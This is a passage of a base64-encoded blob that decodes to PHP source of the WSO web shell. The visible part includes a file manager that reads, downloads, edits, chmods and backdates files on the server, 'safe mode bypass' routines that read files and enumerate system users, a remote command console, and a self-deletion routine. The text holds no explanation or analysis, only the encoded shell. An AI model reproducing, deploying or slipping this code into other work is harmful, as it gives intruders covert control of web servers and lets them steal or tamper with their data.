3RyPg0KCQkJPC90YWJsZT48L2Zvcm0+IjtmdW5jdGlvbiB3c29SZWN1cnNpdmVHbG9iKCRwYXRoKXtpZihzdWJzdHIoJHBhdGgsLTEgKSE9Jy8nKSRwYXRoLj0nLyc7JHBhdGhzPUBhcnJheV91bmlxdWUoQGFycmF5X21lcmdlKEBnbG9iKCRwYXRoLiRfUE9TVFsncDMnXSksQGdsb2IoJHBhdGguJyonLEdMT0JfT05MWURJUikpKTtpZihpc19hcnJheSgkcGF0aHMpICYmIEBjb3VudCgkcGF0aHMpKXtmb3JlYWNoKCRwYXRocyBhcyAkaXRlbSl7aWYoQGlzX2RpcigkaXRlbSkpe2lmKCRwYXRoIT0kaXRlbSl3c29SZWN1cnNpdmVHbG9iKCRpdGVtKTt9ZWxzZSB7aWYoQHN0cnBvcyhAZmlsZV9nZXRfY29udGVudHMoJGl0ZW0pLEAkX1BPU1RbJ3AyJ10pIT09ZmFsc2UpZWNobyAiPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIixudWxsLFwiIi51cmxlbmNvZGUoJGl0ZW0pLiJcIiwgXCJ2aWV3XCIpJz4iLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pLiI8L2E+PGJyPiI7fX19fWlmKEAkX1BPU1RbJ3AzJ10pd3NvUmVjdXJzaXZlR2xvYigkX1BPU1RbJ2MnXSk7ZWNobyAiPC9kaXY+PGJyPjxoMT5TZWFyY2ggZm9yIGhhc2g6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoNCgkJPGZvcm0gbWV0aG9kPSdwb3N0JyB0YXJnZXQ9J19ibGFuaycgbmFtZT0naGYnPg0KCQkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2hhc2gnIHN0eWxlPSd3aWR0aDoyMDBweDsnPjxicj4NCgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdoYXNoY3JhY2suY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3Lmhhc2hjcmFjay5jb20vaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4NCgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdtaWx3MHJtLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5taWx3MHJtLmNvbS9jcmFja2VyL3NlYXJjaC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2hhc2hjcmFja2luZy5pbmZvJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwczovL2hhc2hjcmFja2luZy5pbmZvL2luZGV4LnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+DQoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nbWQ1LnJlZG5vaXplLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL21kNS5yZWRub2l6ZS5jb20vP3E9Jytkb2N1bWVudC5oZi5oYXNoLnZhbHVlKycmcz1tZDUnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNWRlY3J5cHRlci5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cubWQ1ZGVjcnlwdGVyLmNvbS8nO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQk8L2Zvcm0+PC9kaXY+Ijt3c29Gb290ZXIoKTt9ZnVuY3Rpb24gYWN0aW9uRmlsZXNUb29scygpe2lmKGlzc2V0KCRfUE9TVFsncDEnXSkpJF9QT1NUWydwMSddPXVybGRlY29kZSgkX1BPU1RbJ3AxJ10pO2lmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpe2lmKEBpc19maWxlKCRfUE9TVFsncDEnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpe29iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLDQwOTYgKTtoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuYmFzZW5hbWUoJF9QT1NUWydwMSddKSk7aWYoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKXskdHlwZT1AbWltZV9jb250ZW50X3R5cGUoJF9QT1NUWydwMSddKTtoZWFkZXIoIkNvbnRlbnQtVHlwZTogIi4kdHlwZSk7fWVsc2UgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOyRmcD1AZm9wZW4oJF9QT1NUWydwMSddLCJyIik7aWYoJGZwKXt3aGlsZSghQGZlb2YoJGZwKSllY2hvIEBmcmVhZCgkZnAsMTAyNCApO2ZjbG9zZSgkZnApO319ZXhpdDt9aWYoQCRfUE9TVFsncDInXT09J21rZmlsZScpe2lmKCFmaWxlX2V4aXN0cygkX1BPU1RbJ3AxJ10pKXskZnA9QGZvcGVuKCRfUE9TVFsncDEnXSwndycpO2lmKCRmcCl7JF9QT1NUWydwMiddPSJlZGl0IjtmY2xvc2UoJGZwKTt9fX13c29IZWFkZXIoKTtlY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7aWYoIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pKXtlY2hvICdGaWxlIG5vdCBleGlzdHMnO3dzb0Zvb3RlcigpO3JldHVybiA7fSR1aWQ9QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7aWYoISR1aWQpeyR1aWRbJ25hbWUnXT1AZmlsZW93bmVyKCRfUE9TVFsncDEnXSk7JGdpZFsnbmFtZSddPUBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKTt9ZWxzZSAkZ2lkPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSkpO2VjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoQGJhc2VuYW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+U2l6ZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT93c29WaWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScpLicgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICcud3NvUGVybXNDb2xvcigkX1BPU1RbJ3AxJ10pLicgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLic8YnI+JztlY2hvICc8c3Bhbj5DcmVhdGUgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVjdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPkFjY2VzcyB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWF0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+TW9kaWZ5IHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJzxicj48YnI+JztpZihlbXB0eSgkX1BPU1RbJ3AyJ10pKSRfUE9TVFsncDInXT0ndmlldyc7aWYoaXNfZmlsZSgkX1BPU1RbJ3AxJ10pKSRtPWFycmF5KCdWaWV3JywnSGlnaGxpZ2h0JywnRG93bmxvYWQnLCdIZXhkdW1wJywnRWRpdCcsJ0NobW9kJywnUmVuYW1lJywnVG91Y2gnKTtlbHNlICRtPWFycmF5KCdDaG1vZCcsJ1JlbmFtZScsJ1RvdWNoJyk7Zm9yZWFjaCgkbSBhcyAkdillY2hvICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxcJycuc3RydG9sb3dlcigkdikuJ1wnKSI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydwMiddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC9hPiAnO2VjaG8gJzxicj48YnI+Jztzd2l0Y2goJF9QT1NUWydwMiddKXtjYXNlICd2aWV3JzplY2hvICc8cHJlIGNsYXNzPW1sMT4nOyRmcD1AZm9wZW4oJF9QT1NUWydwMSddLCdyJyk7aWYoJGZwKXt3aGlsZSghQGZlb2YoJGZwKSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwxMDI0ICkpO0BmY2xvc2UoJGZwKTt9ZWNobyAnPC9wcmU+JzticmVhaztjYXNlICdoaWdobGlnaHQnOmlmKEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKXtlY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7JGNvZGU9QGhpZ2hsaWdodF9maWxlKCRfUE9TVFsncDEnXSx0cnVlKTtlY2hvIHN0cl9yZXBsYWNlKGFycmF5KCc8c3BhbiAnLCc8L3NwYW4+JyksYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7fWJyZWFrO2Nhc2UgJ2NobW9kJzppZighZW1wdHkoJF9QT1NUWydwMyddKSl7JHBlcm1zPTAgO2ZvcigkaT1zdHJsZW4oJF9QT1NUWydwMyddKS0xIDskaT49MCA7LS0kaSkkcGVybXMrPShpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCAsKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEgKSk7aWYoIUBjaG1vZCgkX1BPU1RbJ3AxJ10sJHBlcm1zKSllY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Npb25zITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7fWNsZWFyc3RhdGNhY2hlKCk7ZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2htb2QgdmFsdWU9Iicuc3Vic3RyKHNwcmludGYoJyVvJyxmaWxlcGVybXMoJF9QT1NUWydwMSddKSksLTQgKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzticmVhaztjYXNlICdlZGl0JzppZighaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSl7ZWNobyAnRmlsZSBpc25cJ3Qgd3JpdGVhYmxlJzticmVhazt9aWYoIWVtcHR5KCRfUE9TVFsncDMnXSkpeyR0aW1lPUBmaWxlbXRpbWUoJF9QT1NUWydwMSddKTskX1BPU1RbJ3AzJ109c3Vic3RyKCRfUE9TVFsncDMnXSwxICk7JGZwPUBmb3BlbigkX1BPU1RbJ3AxJ10sInciKTtpZigkZnApe0Bmd3JpdGUoJGZwLCRfUE9TVFsncDMnXSk7QGZjbG9zZSgkZnApO2VjaG8gJ1NhdmVkITxicj48c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD4nO0B0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpO319ZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCxcJzFcJyt0aGlzLnRleHQudmFsdWUpO3JldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPXRleHQgY2xhc3M9YmlnYXJlYT4nOyRmcD1AZm9wZW4oJF9QT1NUWydwMSddLCdyJyk7aWYoJGZwKXt3aGlsZSghQGZlb2YoJGZwKSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwxMDI0ICkpO0BmY2xvc2UoJGZwKTt9ZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzticmVhaztjYXNlICdoZXhkdW1wJzokYz1AZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwMSddKTskbj0wIDskaD1hcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7JGxlbj1zdHJsZW4oJGMpO2ZvcigkaT0wIDskaTwkbGVuOysrJGkpeyRoWzEgXS49c3ByaW50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJztzd2l0Y2gob3JkKCRjWyRpXSkpe2Nhc2UgMCA6JGhbMiBdLj0nICc7YnJlYWs7Y2FzZSA5IDokaFsyIF0uPScgJzticmVhaztjYXNlIDEwIDokaFsyIF0uPScgJzticmVhaztjYXNlIDEzIDokaFsyIF0uPScgJzticmVhaztkZWZhdWx0OiRoWzIgXS49JGNbJGldO2JyZWFrO30kbisrO2lmKCRuPT0zMiApeyRuPTAgO2lmKCRpKzEgPCRsZW4peyRoWzAgXS49c3ByaW50ZignJTA4WCcsJGkrMSApLic8YnI+Jzt9JGhbMSBdLj0nPGJyPic7JGhbMiBdLj0iXG4iO319ZWNobyAnPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NSBiZ2NvbG9yPSMyMjIyMjI+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMCBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+Jy4kaFsxIF0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyIF0pLic8L3ByZT48L3RkPjwvdHI+PC90YWJsZT4nO2JyZWFrO2Nhc2UgJ3JlbmFtZSc6aWYoIWVtcHR5KCRfUE9TVFsncDMnXSkpe2lmKCFAcmVuYW1lKCRfUE9TVFsncDEnXSwkX1BPU1RbJ3AzJ10pKWVjaG8gJ0NhblwndCByZW5hbWUhPGJyPic7ZWxzZSBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTt9ZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLm5hbWUudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1uYW1lIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzticmVhaztjYXNlICd0b3VjaCc6aWYoIWVtcHR5KCRfUE9TVFsncDMnXSkpeyR0aW1lPXN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pO2lmKCR0aW1lKXtpZighdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKSllY2hvICdGYWlsISc7ZWxzZSBlY2hvICdUb3VjaGVkISc7fWVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ISc7fWNsZWFyc3RhdGNhY2hlKCk7ZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7YnJlYWs7fWVjaG8gJzwvZGl2Pic7d3NvRm9vdGVyKCk7fWZ1bmN0aW9uIGFjdGlvblNhZmVNb2RlKCl7JHRlbXA9Jyc7b2Jfc3RhcnQoKTtzd2l0Y2goJF9QT1NUWydwMSddKXtjYXNlIDEgOiR0ZW1wPUB0ZW1wbmFtKCR0ZXN0LCdjeCcpO2lmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3AyJ10sJHRlbXApKXtlY2hvIEBmaWxlX2dldF9jb250ZW50cygkdGVtcCk7dW5saW5rKCR0ZW1wKTt9ZWxzZSBlY2hvICdTb3JyeS4uLiBDYW5cJ3Qgb3BlbiBmaWxlJzticmVhaztjYXNlIDIgOiRmaWxlcz1nbG9iKCRfUE9TVFsncDInXS4nKicpO2lmKGlzX2FycmF5KCRmaWxlcykpZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGVuYW1lKWVjaG8gJGZpbGVuYW1lLiJcbiI7YnJlYWs7Y2FzZSAzIDokY2g9Y3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1RbJ3AyJ10uIlx4MDAiLnByZWdfcmVwbGFjZSgnIVwoXGQrXClccy4qIScsJycsX19GSUxFX18pKTtjdXJsX2V4ZWMoJGNoKTticmVhaztjYXNlIDQgOmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTtpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7aW5jbHVkZSAoJF9QT1NUWydwMiddKTticmVhaztjYXNlIDUgOmZvcig7JF9QT1NUWydwMiddPD0kX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspeyR1aWQ9QHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7aWYoJHVpZCllY2hvIGpvaW4oJzonLCR1aWQpLiJcbiI7fWJyZWFrO30kdGVtcD1vYl9nZXRfY2xlYW4oKTt3c29IZWFkZXIoKTtlY2hvICc8aDE+U2FmZSBtb2RlIGJ5cGFzczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7ZWNobyAnPHNwYW4+Q29weSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIxIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+R2xvYiAobGlzdCBkaXIpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjIiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5DdXJsIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjMiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5JbmlfcmVzdG9yZSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI0Iix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+UG9zaXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRjL3Bhc3N3ZCk8L3NwYW4+PHRhYmxlPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PHRyPjx0ZD5Gcm9tPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMSB2YWx1ZT0wPjwvdGQ+PC90cj48dHI+PHRkPlRvPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMiB2YWx1ZT0xMDAwPjwvdGQ+PC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nO2lmKCR0ZW1wKWVjaG8gJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBpZD0iT3V0cHV0Ij4nLmh0bWxzcGVjaWFsY2hhcnMoJHRlbXApLic8L3ByZT4nO2VjaG8gJzwvZGl2Pic7d3NvRm9vdGVyKCk7fWZ1bmN0aW9uIGFjdGlvbkNvbnNvbGUoKXtpZighZW1wdHkoJF9QT1NUWydwMSddKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSl7JF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0J109dHJ1ZTskX1BPU1RbJ3AxJ10uPScgMj4mMSc7fWVsc2VpZighZW1wdHkoJF9QT1NUWydwMSddKSkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXT1mYWxzZTtpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpeyRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPXRydWU7b2Jfc3RhcnQoKTtlY2hvICJkLmNmLmNtZC52YWx1ZT0nJztcbiI7JHRlbXA9QGljb252KCRfUE9TVFsnY2hhcnNldCddLCdVVEYtOCcsYWRkY3NsYXNoZXMoIlxuJCAiLiRfUE9TVFsncDEnXS4iXG4iLndzb0V4KCRfUE9TVFsncDEnXSksIlxuXHJcdFxcJ1wwIikpO2lmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSl7aWYoQGNoZGlyKCRtYXRjaFsxIF0pKXskR0xPQkFMU1snY3dkJ109QGdldGN3ZCgpO2VjaG8gImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiO319ZWNobyAiZC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7ZWNobyAiZC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7JHRlbXA9b2JfZ2V0X2NsZWFuKCk7ZWNobyBzdHJsZW4oJHRlbXApLCJcbiIsJHRlbXA7ZXhpdDt9d3NvSGVhZGVyKCk7ZWNobyAiPHNjcmlwdD4NCmlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZRE9XTik7DQp2YXIgY21kcyA9IG5ldyBBcnJheSgnJyk7DQp2YXIgY3VyID0gMDsNCmZ1bmN0aW9uIGtwKGUpIHsNCgl2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsNCglpZihuID09IDM4KSB7DQoJCWN1ci0tOw0KCQlpZihjdXI+PTApDQoJCQlkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07DQoJCWVsc2UNCgkJCWN1cisrOw0KCX0gZWxzZSBpZihuID09IDQwKSB7DQoJCWN1cisrOw0KCQlpZihjdXIgPCBjbWRzLmxlbmd0aCkNCgkJCWRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsNCgkJZWxzZQ0KCQkJY3VyLS07DQoJfQ0KfQ0KZnVuY3Rpb24gYWRkKGNtZCkgew0KCWNtZHMucG9wKCk7DQoJY21kcy5wdXNoKGNtZCk7DQoJY21kcy5wdXNoKCcnKTsNCgljdXIgPSBjbWRzLmxlbmd0aC0xOw0KfQ0KDQo8L3NjcmlwdD4iO2VjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0iaWYoZC5jZi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZC5jZi5vdXRwdXQudmFsdWU9XCdcJztkLmNmLmNtZC52YWx1ZT1cJ1wnO3JldHVybiBmYWxzZTt9YWRkKHRoaXMuY21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSByZXR1cm4gZmFsc2U7Ij48c2VsZWN0IG5hbWU9YWxpYXM+Jztmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG49PiR2KXtpZigkdj09Jycpe2VjaG8gJzxvcHRncm91cCBsYWJlbD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA+Jztjb250aW51ZTt9ZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nO31pZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDEnXSkpJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J109ZmFsc2U7ZWNobyAnPC9zZWxlY3Q+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkLmNmLmFsaWFzLnZhbHVlKTtpZihkLmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO30iIHZhbHVlPSI+PiI+IDxub2JyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKEAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWCA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXNob3dfZXJyb3JzIHZhbHVlPTEgJy4oIWVtcHR5KCRfUE9TVFsncDInXSkgfHwgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0J10/J2NoZWNrZWQnOicnKS4nPiByZWRpcmVjdCBzdGRlcnIgdG8gc3Rkb3V0ICgyPiYxKTwvbm9icj48YnIvPjx0ZXh0YXJlYSBjbGFzcz1iaWdhcmVhIG5hbWU9b3V0cHV0IHN0eWxlPSJib3JkZXItYm90dG9tOjA7bWFyZ2luOjA7IiByZWFkb25seT4nO2lmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoIiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi53c29FeCgkX1BPU1RbJ3AxJ10pKTt9ZWNobyAnPC90ZXh0YXJlYT48dGFibGUgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgI2RmNTtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyLXRvcDowcHg7IiBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgd2lkdGg9IjEwMCUiPjx0cj48dGQgd2lkdGg9IjElIj4kPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNtZCBzdHlsZT0iYm9yZGVyOjBweDt3aWR0aDoxMDAlOyIgb25rZXlkb3duPSJrcChldmVudCk7Ij48L3RkPjwvdHI+PC90YWJsZT4nO2VjaG8gJzwvZm9ybT48L2Rpdj48c2NyaXB0PmQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcHQ+Jzt3c29Gb290ZXIoKTt9ZnVuY3Rpb24gYWN0aW9uTG9nb3V0KCl7c2Vzc2lvbl9kZXN0cm95KCk7ZGllKCdieWUhJyk7fWZ1bmN0aW9uIGFjdGlvblNlbGZSZW1vdmUoKXtpZigkX1BPU1RbJ3AxJ109PSd5ZXMnKWlmKEB1bmxpbmsocHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywnJyxfX0ZJTEVfXykpKWRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpO2Vsc2UgZWNobyAndW5saW5rIGVycm9yISc7aWYoJF9QT1NUWydwMSddIT0neWVzJyl3c29IZWFkZXIoKTtlY2hvICc8aDE+U3VpY2lkZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50PlJlYWxseSB3YW50IHRvIHJlbW92ZSB0aGUgc2hlbGw/PGJyPjxhIGhyZWY9Iy